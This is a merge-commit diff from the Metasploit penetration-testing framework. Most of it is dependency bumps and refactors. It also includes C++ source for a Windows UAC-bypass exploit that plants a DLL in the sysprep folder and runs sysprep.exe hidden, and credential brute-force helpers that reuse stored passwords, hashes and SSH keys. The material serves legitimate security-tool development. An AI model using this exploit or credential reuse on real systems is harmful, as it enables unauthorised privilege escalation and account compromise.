Merge remote-tracking branch 'live/master' into feature/memcached-module

bug/bundler_fix
pdeardorff-r7 2015-01-15 09:40:21 -08:00
commit 0e893cd772
100 changed files with 3938 additions and 3577 deletions

View File

@ -9,7 +9,7 @@ PATH
json json
metasploit-concern (~> 0.3.0) metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0) metasploit-model (~> 0.28.0)
meterpreter_bins (= 0.0.12) meterpreter_bins (= 0.0.13)
msgpack msgpack
nokogiri nokogiri
packetfu (= 1.1.9) packetfu (= 1.1.9)
@ -22,7 +22,7 @@ PATH
tzinfo tzinfo
metasploit-framework-db (4.11.0.pre.dev) metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0) activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (~> 0.13.8) metasploit-credential (~> 0.13.11)
metasploit-framework (= 4.11.0.pre.dev) metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 0.21.3) metasploit_data_models (~> 0.21.3)
pg (>= 0.11) pg (>= 0.11)
@ -101,7 +101,7 @@ GEM
gherkin (2.11.6) gherkin (2.11.6)
json (>= 1.7.6) json (>= 1.7.6)
hike (1.2.3) hike (1.2.3)
i18n (0.6.11) i18n (0.7.0)
journey (1.0.4) journey (1.0.4)
jsobfu (0.2.1) jsobfu (0.2.1)
rkelly-remix (= 0.0.6) rkelly-remix (= 0.0.6)
@ -112,7 +112,7 @@ GEM
metasploit-concern (0.3.0) metasploit-concern (0.3.0)
activesupport (~> 3.0, >= 3.0.0) activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0) railties (< 4.0.0)
metasploit-credential (0.13.8) metasploit-credential (0.13.11)
metasploit-concern (~> 0.3.0) metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0) metasploit-model (~> 0.28.0)
metasploit_data_models (~> 0.21.0) metasploit_data_models (~> 0.21.0)
@ -132,10 +132,10 @@ GEM
pg pg
railties (< 4.0.0) railties (< 4.0.0)
recog (~> 1.0) recog (~> 1.0)
meterpreter_bins (0.0.12) meterpreter_bins (0.0.13)
method_source (0.8.2) method_source (0.8.2)
mime-types (1.25.1) mime-types (1.25.1)
mini_portile (0.6.1) mini_portile (0.6.2)
msgpack (0.5.9) msgpack (0.5.9)
multi_json (1.0.4) multi_json (1.0.4)
network_interface (0.0.1) network_interface (0.0.1)
@ -143,7 +143,7 @@ GEM
mini_portile (~> 0.6.0) mini_portile (~> 0.6.0)
packetfu (1.1.9) packetfu (1.1.9)
pcaprub (0.11.3) pcaprub (0.11.3)
pg (0.17.1) pg (0.18.1)
polyglot (0.3.5) polyglot (0.3.5)
pry (0.10.0) pry (0.10.0)
coderay (~> 1.1.0) coderay (~> 1.1.0)
@ -175,7 +175,7 @@ GEM
rb-readline (0.5.1) rb-readline (0.5.1)
rdoc (3.12.2) rdoc (3.12.2)
json (~> 1.4) json (~> 1.4)
recog (1.0.6) recog (1.0.7)
nokogiri nokogiri
redcarpet (3.1.2) redcarpet (3.1.2)
rkelly-remix (0.0.6) rkelly-remix (0.0.6)

View File

@ -34,6 +34,7 @@ module Metasploit
class Application < Rails::Application class Application < Rails::Application
include Metasploit::Framework::CommonEngine include Metasploit::Framework::CommonEngine
config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log"
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)] config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
end end
end end

File diff suppressed because it is too large Load Diff

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -11,7 +11,7 @@
# #
# It's strongly recommended to check this file into your version control system. # It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20140922170030) do ActiveRecord::Schema.define(:version => 20150106201450) do
create_table "api_keys", :force => true do |t| create_table "api_keys", :force => true do |t|
t.text "token" t.text "token"

View File

@ -93,7 +93,7 @@
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile> <ClCompile>
<Optimization>Disabled</Optimization> <Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild> <MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
@ -132,7 +132,7 @@
<Optimization>MaxSpeed</Optimization> <Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader /> <PrecompiledHeader />
@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="src\Exploit.cpp" /> <ClCompile Include="src\Exploit.cpp" />
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" /> <ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
<ClCompile Include="src\ReflectiveDll.c" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="src\Exploit.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" /> <ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" /> <ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
<ClInclude Include="src\Exploit.h" />
</ItemGroup> </ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">

247
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp vendored Normal file → Executable file
View File

@ -1,119 +1,158 @@
#include "ReflectiveLoader.h"
#include "Exploit.h" #include "Exploit.h"
void exploit() #define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;}
{
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\"; extern "C" {
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
const wchar_t *sySysPrepExe = L"sysprep.exe";
const wchar_t *szElevDll = L"CRYPTBASE.dll";
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
wchar_t szElevDir[MAX_PATH] = {};
wchar_t szElevDir_syswow64[MAX_PATH] = {};
wchar_t szElevDllFull[MAX_PATH] = {};
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
wchar_t szElevExeFull[MAX_PATH] = {};
wchar_t path[MAX_PATH] = {};
wchar_t windir[MAX_PATH] = {};
const wchar_t *szElevArgs = L"";
const wchar_t *szEIFOMoniker = NULL;
PVOID OldValue = NULL;
IFileOperation *pFileOp = NULL; void exploit(BypassUacPaths const * const paths)
IShellItem *pSHISource = 0; {
IShellItem *pSHIDestination = 0; const wchar_t *szElevArgs = L"";
IShellItem *pSHIDelete = 0; const wchar_t *szEIFOMoniker = NULL;
const IID *pIID_EIFO = &__uuidof(IFileOperation); PVOID OldValue = NULL;
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
GetWindowsDirectoryW(windir, MAX_PATH); IFileOperation *pFileOp = NULL;
GetTempPathW(MAX_PATH, path); IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
/* %temp%\cryptbase.dll */ BOOL bComInitialised = FALSE;
wcscat_s(path, MAX_PATH, szSourceDll);
/* %windir%\System32\sysprep\ */
wcscat_s(szElevDir, MAX_PATH, windir);
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
/* %windir%\sysnative\sysprep\ */ const IID *pIID_EIFO = &__uuidof(IFileOperation);
wcscat_s(szElevDir_syswow64, MAX_PATH, windir); const IID *pIID_EIFOClass = &__uuidof(FileOperation);
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64); const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
/* %windir\system32\sysprep\cryptbase.dll */ dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir);
wcscat_s(szElevDllFull, MAX_PATH, szElevDir); dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64);
wcscat_s(szElevDllFull, MAX_PATH, szElevDll); dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll);
dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull);
dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull);
dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath);
/* %windir\sysnative\sysprep\cryptbase.dll */ do
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
/* %windir%\system32\sysprep\sysprep.exe */
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
if (CoInitialize(NULL) == S_OK)
{
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
{ {
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK) if (CoInitialize(NULL) != S_OK)
{ {
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK) dprintf("[BYPASSUACINJ] Failed to initialize COM");
{ break;
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
{
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
{
/* Copy the DLL file to the sysprep folder*/
if (pFileOp->PerformOperations() == S_OK)
{
/* Execute sysprep.exe */
SHELLEXECUTEINFOW shinfo;
ZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = szElevExeFull;
shinfo.lpParameters = szElevArgs;
shinfo.lpDirectory = szElevDir;
shinfo.nShow = SW_HIDE;
Wow64DisableWow64FsRedirection(&OldValue);
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
{
WaitForSingleObject(shinfo.hProcess, 10000);
CloseHandle(shinfo.hProcess);
}
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
{
if (0 != pSHIDelete)
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
{
if (0 != pSHIDelete)
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
}
}
}
}
}
}
}
}
}
}
} }
bComInitialised = TRUE;
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
{
dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
break;
}
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
{
dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
break;
}
if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
break;
}
if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
break;
}
if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
break;
}
/* Copy the DLL file to the target folder*/
if (pFileOp->PerformOperations() != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to copy elev dll");
break;
}
/* Execute the target binary */
SHELLEXECUTEINFOW shinfo;
ZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = paths->szElevExeFull;
shinfo.lpParameters = szElevArgs;
shinfo.lpDirectory = paths->szElevDir;
shinfo.nShow = SW_HIDE;
Wow64DisableWow64FsRedirection(&OldValue);
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
{
WaitForSingleObject(shinfo.hProcess, 10000);
CloseHandle(shinfo.hProcess);
}
if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|| NULL == pSHIDelete)
{
dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
break;
}
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
{
dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
break;
}
if (pFileOp->PerformOperations() == S_OK)
{
dprintf("[BYPASSUACINJ] Successfully deleted dll");
// bail out this point because we don't need to keep trying to delete
break;
}
SAFERELEASE(pSHIDelete);
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|| NULL == pSHIDelete)
{
dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
break;
}
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
{
dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
break;
}
if (pFileOp->PerformOperations() == S_OK)
{
dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
}
else
{
dprintf("[BYPASSUACINJ] Failed to delete target DLL");
}
} while (0);
SAFERELEASE(pSHIDelete);
SAFERELEASE(pSHIDestination);
SAFERELEASE(pSHISource);
SAFERELEASE(pFileOp);
if (bComInitialised)
{
CoUninitialize();
} }
} }
}
}

30
external/source/exploits/bypassuac_injection/dll/src/Exploit.h vendored Normal file → Executable file
View File

@ -5,4 +5,32 @@
#include <stdio.h> #include <stdio.h>
#include <guiddef.h> #include <guiddef.h>
EXTERN_C void exploit(); // Uncomment this line to include debug output
//#define DEBUGTRACE
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
static void real_dprintf(char *format, ...)
{
va_list args;
char buffer[1024];
va_start(args, format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
}
#else
#define dprintf(...)
#endif
typedef struct _BypassUacPaths
{
wchar_t szElevDir[MAX_PATH];
wchar_t szElevDirSysWow64[MAX_PATH];
wchar_t szElevDll[MAX_PATH];
wchar_t szElevDllFull[MAX_PATH];
wchar_t szElevExeFull[MAX_PATH];
wchar_t szDllTempPath[MAX_PATH];
} BypassUacPaths;
EXTERN_C void exploit(BypassUacPaths const * const paths);

43
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c vendored Normal file → Executable file
View File

@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{ {
BOOL bReturnValue = TRUE; switch (dwReason)
switch( dwReason ) {
{ case DLL_QUERY_HMODULE:
case DLL_QUERY_HMODULE: if (lpReserved != NULL)
if( lpReserved != NULL ) {
*(HMODULE *)lpReserved = hAppInstance; *(HMODULE *)lpReserved = hAppInstance;
break; }
case DLL_PROCESS_ATTACH: break;
hAppInstance = hinstDLL; case DLL_PROCESS_ATTACH:
exploit(); hAppInstance = hinstDLL;
ExitProcess(0);
break; if (NULL != lpReserved)
case DLL_PROCESS_DETACH: {
case DLL_THREAD_ATTACH: dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved);
case DLL_THREAD_DETACH: exploit((BypassUacPaths*)lpReserved);
break; }
}
return bReturnValue; ExitProcess(0);
break;
default:
break;
}
return TRUE;
} }

View File

@ -2,6 +2,18 @@ require 'metasploit/framework/credential'
class Metasploit::Framework::CredentialCollection class Metasploit::Framework::CredentialCollection
# @!attribute additional_privates
# Additional privates to be combined
#
# @return [Array<String>]
attr_accessor :additional_privates
# @!attribute additional_publics
# Additional public to be combined
#
# @return [Array<String>]
attr_accessor :additional_publics
# @!attribute blank_passwords # @!attribute blank_passwords
# Whether each username should be tried with a blank password # Whether each username should be tried with a blank password
# @return [Boolean] # @return [Boolean]
@ -59,7 +71,27 @@ class Metasploit::Framework::CredentialCollection
opts.each do |attribute, value| opts.each do |attribute, value|
public_send("#{attribute}=", value) public_send("#{attribute}=", value)
end end
self.prepended_creds ||= [] self.prepended_creds ||= []
self.additional_privates ||= []
self.additional_publics ||= []
end
# Adds a string as an addition private credential
# to be combined in the collection.
#
# @param [String] :private_str the string to use as a private
# @return [void]
def add_private(private_str='')
additional_privates << private_str
end
# Adds a string as an addition public credential
# to be combined in the collection.
#
# @param [String] :public_str the string to use as a public
# @return [void]
def add_public(public_str='')
additional_publics << public_str
end end
# Add {Credential credentials} that will be yielded by {#each} # Add {Credential credentials} that will be yielded by {#each}
@ -101,6 +133,9 @@ class Metasploit::Framework::CredentialCollection
end end
pass_fd.seek(0) pass_fd.seek(0)
end end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
end
end end
if user_file.present? if user_file.present?
@ -123,6 +158,9 @@ class Metasploit::Framework::CredentialCollection
end end
pass_fd.seek(0) pass_fd.seek(0)
end end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
end
end end
end end
end end
@ -141,6 +179,28 @@ class Metasploit::Framework::CredentialCollection
end end
end end
additional_publics.each do |add_public|
if password.present?
yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) )
end
if user_as_pass
yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password)
end
if blank_passwords
yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password)
end
if pass_fd
pass_fd.each_line do |pass_from_file|
pass_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private))
end
end
ensure ensure
pass_fd.close if pass_fd && !pass_fd.closed? pass_fd.close if pass_fd && !pass_fd.closed?
end end

View File

@ -57,8 +57,8 @@ module Metasploit
inclusion: { in: [true, false] } inclusion: { in: [true, false] }
validates :bruteforce_speed, validates :bruteforce_speed,
presence: false,
numericality: { numericality: {
allow_nil: true,
only_integer: true, only_integer: true,
greater_than_or_equal_to: 0, greater_than_or_equal_to: 0,
less_than_or_equal_to: 5 less_than_or_equal_to: 5

View File

@ -151,10 +151,10 @@ module Exploit
if e.kind_of?(Msf::OptionValidateError) if e.kind_of?(Msf::OptionValidateError)
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
else else
mod.print_error("Call stack:") exploit.print_error("Call stack:")
e.backtrace.each do |line| e.backtrace.each do |line|
break if line =~ /lib.msf.base.simple.exploit.rb/ break if line =~ /lib.msf.base.simple.exploit.rb/
mod.print_error(" #{line}") exploit.print_error(" #{line}")
end end
elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0) elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0)
end end

View File

@ -49,6 +49,47 @@ module Auxiliary::AuthBrute
@@max_per_service = nil @@max_per_service = nil
end end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
# a private type of 'ntlm_hash'
#
# @yieldparam [Metasploit::Credential::Core]
def each_ntlm_cred
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
creds.each do |cred|
yield cred
end
end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
# a private type of 'password'
#
# @yieldparam [Metasploit::Credential::Core]
def each_password_cred
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
creds.each do |cred|
yield cred
end
end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
# a private type of 'ssh_key'
#
# @yieldparam [Metasploit::Credential::Core]
def each_ssh_cred
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
creds.each do |cred|
yield cred
end
end
# Checks whether we should be adding creds from the DB to a CredCollection
#
# @return [TrueClass] if any of the datastore options for db creds are selected and the db is active
# @return [FalseClass] if none of the datastore options are selected OR the db is not active
def prepend_db_creds?
(datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active
end
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes
# from the database. This allows the users to use the DB_ALL_CREDS option. # from the database. This allows the users to use the DB_ALL_CREDS option.
# #
@ -56,10 +97,9 @@ module Auxiliary::AuthBrute
# the credential collection to add to # the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_hashes(cred_collection) def prepend_db_hashes(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active if prepend_db_creds?
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id) each_ntlm_cred do |cred|
creds.each do |cred| process_cred_for_collection(cred_collection,cred)
cred_collection.prepend_cred(cred.to_credential)
end end
end end
cred_collection cred_collection
@ -72,10 +112,9 @@ module Auxiliary::AuthBrute
# the credential collection to add to # the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_keys(cred_collection) def prepend_db_keys(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active if prepend_db_creds?
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id) each_ssh_cred do |cred|
creds.each do |cred| process_cred_for_collection(cred_collection,cred)
cred_collection.prepend_cred(cred.to_credential)
end end
end end
cred_collection cred_collection
@ -88,15 +127,27 @@ module Auxiliary::AuthBrute
# the credential collection to add to # the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_passwords(cred_collection) def prepend_db_passwords(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active if prepend_db_creds?
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id) each_password_cred do |cred|
creds.each do |cred| process_cred_for_collection(cred_collection,cred)
cred_collection.prepend_cred(cred.to_credential)
end end
end end
cred_collection cred_collection
end end
# Takes a {Metasploit::Credential::Core} and converts it into a
# {Metasploit::Framework::Credential} and processes it into the
# {Metasploit::Framework::CredentialCollection} as dictated by the
# selected datastore options.
#
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
# @param [Metasploit::Credential::Core] the Credential Core to process
def process_cred_for_collection(cred_collection, cred)
msf_cred = cred.to_credential
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
cred_collection.add_private(msf_cred.private) if datastore['DB_ALL_PASS']
cred_collection.add_public(msf_cred.public) if datastore['DB_ALL_USERS']
end
# Checks all three files for usernames and passwords, and combines them into # Checks all three files for usernames and passwords, and combines them into

View File

@ -29,6 +29,7 @@ module Auxiliary::JohnTheRipper
OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']), OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']),
OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']), OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']),
OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']), OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']),
OptBool.new('KoreLogic', [false, 'Apply the KoreLogic rules to Wordlist Mode(slower)', false]),
OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]), OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]),
OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']), OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']),
OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]), OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]),

View File

@ -12,6 +12,38 @@ module Auxiliary::Report
optionally_include_metasploit_credential_creation optionally_include_metasploit_credential_creation
def create_cracked_credential(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
def create_credential(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
def create_credential_login(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
def invalidate_login(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
# This method overrides the method from Metasploit::Credential to check for an active db # This method overrides the method from Metasploit::Credential to check for an active db
def active_db? def active_db?
framework.db.active framework.db.active
@ -125,13 +157,102 @@ module Auxiliary::Report
framework.db.report_note(opts) framework.db.report_note(opts)
end end
# This Legacy method is responsible for creating credentials from data supplied
# by a module. This method is deprecated and the new Metasploit::Credential methods
# should be used directly instead.
#
# @param :opts [Hash] the option hash
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
# @option opts [Fixnum] :port the port of the connected service
# @option opts [Mdm::Service] :service an optional Service object to build the cred for
# @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key")
# @option opts [String] :proto Which transport protocol the service uses
# @option opts [String] :sname The 'name' of the service
# @option opts [String] :user The username for the cred
# @option opts [String] :pass The private part of the credential (e.g. password)
def report_auth_info(opts={}) def report_auth_info(opts={})
print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!"
return if not db return if not db
